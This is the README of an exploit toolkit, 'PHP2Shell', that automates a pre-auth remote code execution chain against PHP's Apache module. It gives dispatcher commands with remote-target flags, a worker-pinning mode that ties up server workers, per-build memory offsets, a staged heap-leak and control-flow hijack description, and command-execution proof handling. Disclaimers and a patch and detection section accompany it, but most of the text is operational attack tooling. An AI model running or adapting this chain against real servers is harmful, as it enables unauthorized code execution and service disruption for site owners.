PHP2Shell

Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619

exploit by devploit

Verified run against the local PHP 8.5.11 laboratory: uid=33(www-data).

Authorized testing only. Use this material exclusively against systems you own or have explicit, written permission to test. It is not a scanning tool, it ships no target list, and it must not be used against third-party infrastructure. The chain is disruptive: it sends large request bodies, triggers pre-RINIT out-of-memory conditions and kills Apache children.

PHP2Shell is a research workspace for the session.upload_progress OOM / stale-pointer chain in PHP's Apache module. It packages a version-aware dispatcher, a per-build profile engine, reproducible laboratories, a calibration factory and runtime instrumentation around the public research exploit by 9bie.

The goal is reproducible research and defensive validation, not mass exploitation. The dispatcher refuses to guess: it stops when the build has no verified profile, when the target is a fixed release, or when the target OS does not match the profile.

---

Status

Build	Image	Profile	Heap leak	libphp leak	RCE	Notes
PHP 8.5.11 aarch64	php:8.5.11-apache	php-8.5.11-bookworm-aarch64	yes	yes	yes	uid=33(www-data)
PHP 8.5.11 amd64	php:8.5.11-apache	php-8.5.11-bookworm-amd64	yes	yes	yes	separate offsets, same htdata
PHP 8.5.10 aarch64	php:8.5.10-apache	php-8.5.10-bookworm-aarch64	yes	yes	yes	uid=33(www-data)
PHP 8.4.26 amd64	php:8.4.26-apache	php-8.4.26-bookworm-amd64	yes	yes	yes	reference build
PHP 8.4.25 aarch64	php:8.4.25-apache	php-8.4.25-bookworm-aarch64	yes	yes	yes	probabilistic stage 3; retries
PHP 8.5.0 aarch64	php:8.5.0-apache	php-8.5.0-bookworm	yes	yes	no	stage-3 layout not found
PHP 8.3.35 aarch64	php:8.3.35-apache	php-8.3.35-bookworm-aarch64	yes	yes	no	stage-3 reference alive
PHP 8.3.33 mod_php	wordpress:7.1.1-apache	php-8.3.33-wordpress-mod_php	yes	yes	no	stage-3 reference alive
PHP 8.3.0 aarch64	php:8.3.0-apache	php-8.3.0-bookworm	no	no	no	PS(id) dangling; cookie not reclaimed
PHP 8.2.34 aarch64	php:8.2.34-apache	php-8.2.34-bookworm-aarch64	no	no	no	UAF; leak shape differs
PHP 8.1.34 aarch64	php:8.1-apache	php-8.1.34-bookworm-aarch64	no	no	no	UAF; leak shape differs
PHP 8.0.30 aarch64	php:8.0-apache	php-8.0.30-bookworm-aarch64	no	no	no	UAF; leak shape differs
PHP 7.4.33 aarch64	php:7.4-apache	php-7.4.33-bookworm-aarch64	no	no	no	UAF; leak shape differs
PHP 8.2.0 aarch64	php:8.2.0-apache	— (offsets only)	n/a	n/a	no	no heap profile

13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.

Heap leak is stage 1, libphp leak is stage 2 and RCE is a real command proof on an isolated lab. no means not verified, not necessarily impossible; n/a means no heap profile exists for that build. The 8.2.0 row is an offsets-only entry. All yes rows use the lab configuration: Apache prefork mod_php, one worker, display_errors=On, memory_limit=8M and session.upload_progress=On. Per-image offsets and libphp sha256 are in the offset inventory. The 8.4.25 profile needs the default retries because its stage 3 is probabilistic.

Features

• Version-aware dispatch — fingerprints the target, rejects fixed releases, selects the exact build profile and passes offsets, htdata and heap parameters explicitly. --php-version covers servers that hide their version; --arch selects aarch64 or amd64 (auto-detected for local containers, required for remote targets), and --profile forces an exact build.
• Memory-limit probe — one request reveals the target memory_limit from the fatal message; the chain then runs once instead of sweeping every value.
• Worker pinning — keeps N-1 prefork workers busy with idle keep-alive connections so the whole chain lands on one process. Automatic for loopback laboratories; opt-in for remote infrastructure.
• Proof handling — reads the container's /out mount for local targets, or fetches a web-accessible output path for remote targets. --fetch and --no-fetch override it.
• Command staging — on local labs -c accepts commands of any length, stages them in /out/c and captures the output. --script and --interactive provide batch and REPL modes.
• Calibration factory — php2shell_calibrate.py discovers stages 1-2 and verifies stage 3 with a real proof before writing rce: true; php2shell_matrix.py runs the factory over a matrix of images.
• Laboratories and instrumentation — disposable labs per build, /proc memory oracle, gdb recipes and offset extraction for arbitrary images.

Quick start

Requirements: Python 3.11+, Docker (for the labs), Linux or macOS on arm64 or amd64. Fetch the pinned upstream:

python3 tools/bootstrap_upstream.py

The script clones the public 9bie research into vendor/php2shell-upstream and checks out the pinned commit. The toolkit applies the minimal SNI and heap-parameter changes in place at runtime; they are documented in docs/upstream-changes.md. No patch file is redistributed.

Start the local laboratories and run the dispatcher against the PHP 8.4.26 lab:

python3 tools/php2shell_labs.py up
python3 tools/php2shell_auto.py \
  -u http://127.0.0.1:8105/index.php \
  --container p2s-lab-8426 \
  --repo-dir vendor/php2shell-upstream

Expected shape:

  exploit by devploit  ·  CVE-2026-109618 / CVE-2026-109619
  automatic target detection, build profile dispatch and command execution
  authorized testing only

[*] CHAIN 01/01  automatic target detection / fixed command proof
00:00.00  DISCOVER   http://127.0.0.1:8105/index.php
00:00.01  OK         PHP 8.4.26  ·  Apache/2.4.69 (Debian)
00:00.01  PREFLIGHT  php-8.4.26-bookworm-amd64
00:00.15  PROBE      memory_limit probe: 16 MiB body
00:00.16  OK         detected memory_limit=8M
00:00.17  EXECUTE    memory_limit=8M  ·  huge_mb=12
   │ [+] chunk base = 0x7ffffc400000
   │ [+] libphp base = 0x7ffffe013000
   │ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

╭─ RESULT ─────────────────────────────────────────────────────────╮
│ PRE-AUTH RCE CONFIRMED                                           │
╰──────────────────────────────────────────────────────────────────╯

Useful entry points:

python3 tools/php2shell_auto.py --list          # profiles and RCE status
python3 tools/php2shell_auto.py -u <target> --dry-run --no-color
python3 tools/php2shell_auto.py -u <target> --php-version 8.4.26 --arch amd64 --allow-remote
python3 tools/php2shell_labs.py status
python3 tools/php2shell_inventory.py

How it works

The chain abuses the session.upload_progress callback that runs before the request startup (pre-RINIT) and therefore before the target script:

1. Stage 1 — heap leak. A multipart request drives the parser into an out-of-memory bailout after php_session_track_init() built the session state. The next request reuses the stale PS(id) and returns a Set-Cookie whose value contains heap pointers, revealing the Zend MM chunk base.
2. Stage 2 — libphp leak. The same stale-state primitive is reshaped to disclose a pointer into libphp.so, revealing its load base.
3. Stage 3 — control flow. A forged HashTable/reference lands on the stale session state; the zval_ptr_dtor path calls zif_system with a short command carried in a fake zend_string.

The full technical write-up, including the session lifecycle and the heap grooming, is in docs/php2shell-analysis.md.

A profile is per build:

{
  "libphp": { "zif_system": "0x465370", "zval_ptr_dtor": "0x65eb60", "htdata": "0x690d8" },
  "stages": { "stage1_n": 841, "stage1_forge_len": 79, "stage2_t": 406,
              "stage2_v": 16, "stage3_pads": [[31, 31]], "stage3_carrier": true },
  "oom_mb": 12,
  "rce": true
}

Architecture selection

Some versions ship more than one build. PHP 8.5.11 has separate aarch64 and amd64 offsets:

• local container: the dispatcher reads uname -m and selects the matching profile automatically;
• remote target: --arch aarch64|amd64 (or --profile NAME) is required, even when the version has a single profile. HTTP does not expose the CPU architecture, so the dispatcher refuses instead of guessing.

Configuration requirements

The shipped calibration targets:

• Apache prefork + mod_php with one worker;
• display_errors=On, memory_limit=8M, max_input_vars=1000;
• session.upload_progress.enabled=On, session.use_cookies=1, session.use_strict_mode=0.

A hardened production PHP (128M+, display_errors=Off, multiple workers, FPM) does not match the shipped calibration. Multi-worker targets are handled with --pin-workers; display_errors=Off and FPM remain open research items (see Limitations).

Multi-worker targets

The stale session state is per worker. Without pinning, stage 1's A/B requests land on different children and the leak fails:

--pin-workers 4        # hold 3 workers with keep-alive, leave one free
--pin-workers auto     # loopback default: count workers in the container
--no-pin-workers       # disable pinning

For loopback targets the count is detected automatically. For remote targets pinning is opt-in: it opens keep-alive connections until a request stops being answered, which is intrusive and only appropriate on authorized infrastructure. --pin-max N bounds the connections (default 32).

Commands and proof

A remote -c command is limited to 14 bytes (the fake zend_string carrier). On a local lab the dispatcher stages the command in /out/c, runs sh</out/c and captures the output:

-c 'id'                       # short
-c 'id; uname -a; whoami'     # any length on a local lab
--script ./cmd.sh             # batch
--interactive                 # REPL; one full chain per command

Local targets read the container's /out mount directly. Remote targets use id>p1 and fetch /p1 automatically; --fetch PATH overrides and --no-fetch disables the read-back. A remote command that writes outside the webroot, or a server that does not serve the file, will execute blind: no proof does not necessarily mean no execution.

Speed

The dispatcher probes the target memory_limit from one request's fatal message. Measured locally: 7.0 s for 8M and 13.5 s for 128M (probe + one chain), versus several minutes for a blind sweep.

--memory-limit-mb 128   # skip the probe
--retries 1             # fewer attempts (stage 3 uses retries+2)
--no-pre-rotate         # skip the initial rotation
--no-retry-rotate       # no rotation between failures
--no-probe              # disable the probe

Upstream integration

The chain itself is the public research by 9bie. The upstream repository has no explicit license, so its source is not vendored in this repository. Instead:

• tools/bootstrap_upstream.py clones it into vendor/php2shell-upstream (git-ignored) and pins commit 4586f5c;
• tools/php2shell_upstream.py applies the minimal changes in place at runtime: SNI on the HTTPS path and the P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V overrides;
• docs/upstream-changes.md records the same changes for manual use, and docs/licensing.md explains why no patch is redistributed;
• tools/php2shell_paths.py resolves the checkout, so --repo-dir defaults to vendor/php2shell-upstream when present and falls back to /tmp/php2shell-rce.

If you prefer a git dependency, use a submodule instead of the bootstrap:

git submodule add https://github.com/9bie/php2shell-bypass-aslr-exp vendor/php2shell-upstream
git -C vendor/php2shell-upstream checkout 4586f5c
# the toolkit applies the documented runtime changes in place

Repository layout

catalog/vulnerable.json        vulnerable branches and fixed releases
.github/workflows/ci.yml       tests and gitleaks
profiles/*.json                heap profiles (offsets, heap params, verified flag)
profiles/offsets/*.json        ELF symbol offsets per image
vendor/                        generated upstream checkout (git-ignored)
tools/
  php2shell_auto.py            version-aware dispatcher
  php2shell_calibrate.py       profile generator with proof verification
  php2shell_matrix.py          profile factory over image tags
  php2shell_rce.py             manual upstream launcher
  php2shell_assess.py          exposure/leak assessment (no RCE claim)
  php2shell_labs.py            disposable local laboratories
  php2shell_offsets.py         ELF offset extraction for any image
  php2shell_inventory.py       profile/offset table
  php2shell_paths.py           upstream checkout resolution
  php2shell_upstream.py        in-place SNI/heap-parameter changes
  bootstrap_upstream.py        fetch and pin the upstream
  php2shell_ui.py              terminal UI
lab/
  wordpress/                   WordPress 8.3.33 + mod_php laboratory
  rce/                         single-worker calibration lab and configs
docs/
  php2shell-analysis.md        technical analysis
  rce-guide.md                 full RCE guide and profile schema
  exploit-report.md            laboratory results
  labs.md                      laboratory reference
  safe-lab.md                  harmless OOM laboratory
  profile-inventory.md         profile table
  offset-inventory.md          libphp offsets per build
  inventory-growth.md          coverage roadmap
  branch-notes.md              per-branch findings
  upstream-changes.md          manual record of the runtime changes
  licensing.md                 MIT and upstream licensing notes
  instrumentation/             /proc oracle and gdb recipes
  es/                          Spanish originals

Laboratories and calibration

python3 tools/php2shell_labs.py up      # 7.4.33 ... 8.5.11 on :8100-:8106
python3 tools/php2shell_labs.py test    # run the dispatcher against each lab
python3 tools/php2shell_labs.py down

Every lab binds to 127.0.0.1, runs one worker with the calibration php.ini/apache.conf and mounts an /out directory for proof collection.

Generate a profile for a new build:

python3 tools/php2shell_calibrate.py \
  --target http://127.0.0.1:8105/index.php \
  --container p2s-lab-8426 \
  --repo-dir vendor/php2shell-upstream \
  --proof-file lab/rce/out/8.4.26/p1 \
  --distro bookworm

--distro, --arch and the image tag determine the profile name. Stage 1 and 2 are discovered automatically; stage 3 is attempted with the known layouts and rce: true is written only after a real command proof.

Instrumentation

docs/instrumentation/ contains a read-only /proc/<pid>/mem oracle (mem_dump.php, id_dump.php), the ps_globals offsets for every build and gdb recipes used to inspect the session reference, the fake HashTable and the OOM path. The native-amd64 recipes cover Apache under gdb with SYS_PTRACE and zend_mm_heap offsets.

The oracle is how the branch findings were measured: for example, on 8.3.35 the session reference is still alive (refcount=2, val.type=IS_ARRAY) after the OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer.

Detection and defense

• Patch. CVE-2026-109618 / CVE-2026-109619 are fixed in the releases listed in catalog/vulnerable.json (8.4.27 and 8.5.12 for the 8.4/8.5 branches). Verify against the current PHP advisories.
• Disable what you do not use. session.upload_progress.enabled=Off removes the pre-RINIT callback this chain depends on. If upload progress is required, restrict it to endpoints that actually need it.
• Raise the bar. display_errors=Off blocks the shipped stage-1 leak (an alternative path is research, not a shipped feature). A realistic memory_limit and a read-only webroot make proof collection harder; they are not fixes.
• Reduce worker state reuse. Keep session state per application and avoid sharing session storage across trust boundaries.
• Detect. Watch for multipart requests with ~1000 fields, very large bodies, repeated OOM/500 responses, Apache child crashes and zend_mm_heap corrupted log lines. Rate-limit large multipart bodies at the edge.
• Least privilege. Run PHP as an unprivileged user with a read-only document root and no shell access where possible.

Limitations

• mod_php prefork only. PHP-FPM has a different lifecycle; the chain does not transfer as-is and FPM is not supported.
• One worker / pinning. Without pinning, the per-worker session state breaks stage 1.
• Per-build offsets. A profile is tied to a libphp.so build; the same version from another distribution or architecture needs its own offsets and heap calibration.
• display_errors=Off is not complete. The OOM-in-cookie primitive is reproducible in research, but the stage-1 leak is not shipped for that configuration.
• expose_php=Off changes stage 3. Hiding X-Powered-By shifts the startup heap; the known stage-3 pads do not fit and a dedicated calibration is needed.
• 8.5.0 / 8.3.0 have leaks or UAF preconditions but no verified stage 3.
• 8.4.25 is probabilistic; use the default retries.
• Remote proof is not guaranteed. id>p1 only works if the webroot is writable and the file is served at /p1.
• HTTPS transport is experimental. The verified runs use HTTP. The chain's HTTPS path did not reproduce stage 1 against direct Apache SSL or proxied labs in testing, even though SNI and the unverified context are applied. Treat remote HTTPS as unverified until a native end-to-end proof exists.

Documentation

• Technical analysis
• RCE guide and profile schema
• Laboratory results
• Laboratories
• Safe OOM laboratory
• Profile inventory
• Offset inventory
• Coverage roadmap
• Per-branch notes
• Instrumentation
• Reproducibility
• Contributing
• Acceptable use
• Upstream changes
• Licensing

Ethics and acceptable use

This project exists for authorized security testing, defensive validation and reproducible research. The full policy is in ACCEPTABLE_USE.md.

• Do not use it against systems you do not own or have written permission to test. A public website is not a laboratory.
• Do not use the remote worker-saturation mode against third-party infrastructure; it is intrusive.
• Do not build or distribute target lists, mass-exploitation tooling or infrastructure for denial of service.
• Respect the law and the terms of any program you participate in.
• If you find a new affected build, prefer coordinated disclosure with the vendor and the PHP security team.

The authors accept no liability for misuse or damage. The license does not grant authorization to test any system.

Contributing

Contributions are welcome when they improve reproducibility. Read CONTRIBUTING.md for the profile workflow, tests and the pull request checklist.

Examples:

• new build profiles with a real proof and the exact image/tag;
• laboratory fixes, offset extraction for new distros/architectures;
• documentation, detection guidance and defensive tooling;
• calibration improvements for the open configurations (display_errors=Off, expose_php=Off, FPM).

Please do not include real target data, credentials, or logs from systems you do not own. Open an issue or a pull request with the profile, the evidence and the commands used.

Run the suite before opening a pull request:

python3 -m unittest discover -s tests -v

Credits

• Wiz Research — discovery and public analysis of PHP2Shell (CVE-2026-109618 / CVE-2026-109619): blog and technical video. The analysis in this repository starts from that publication.
• Calif — parallel research and the upload-metadata amplification analysis referenced in docs/php2shell-analysis.md: calif.io/php2shell.
• 9bie — original public PHP2Shell exploit and heap-grooming research: stage-1/2 leaks, the stage-3 fake HashTable carrier and the php2shell-bypass-aslr-exp codebase. The upstream is fetched by tools/bootstrap_upstream.py and the runtime changes are documented in docs/upstream-changes.md.
• Karasawa2025 — public research on the display_errors=Off direction: the OOM-in-cookie primitive, page-level grooming and the alternative leak strategy that this repository is still calibrating.
• WoYinDao — public CVE-2026-109618 analysis: session lifecycle, the pre-RINIT OOM window, the var_destroy reentry UAF and the cross-branch negative matrix.
• PHP security team, PHP Foundation and release maintainers — advisory, fixes in 8.4.27, 8.5.12 and the branch releases, and the security release notes at php.net/security, with the PHP Foundation note.
• devploit — version-aware dispatcher, profile factory, laboratories, instrumentation, tests and documentation.

This toolkit does not claim discovery of the CVE. If a credit is missing or inaccurate, please open an issue.

License

MIT for the original code. See LICENSE and docs/licensing.md for the upstream boundary. The license grants copyright permissions only; it does not authorize testing any system.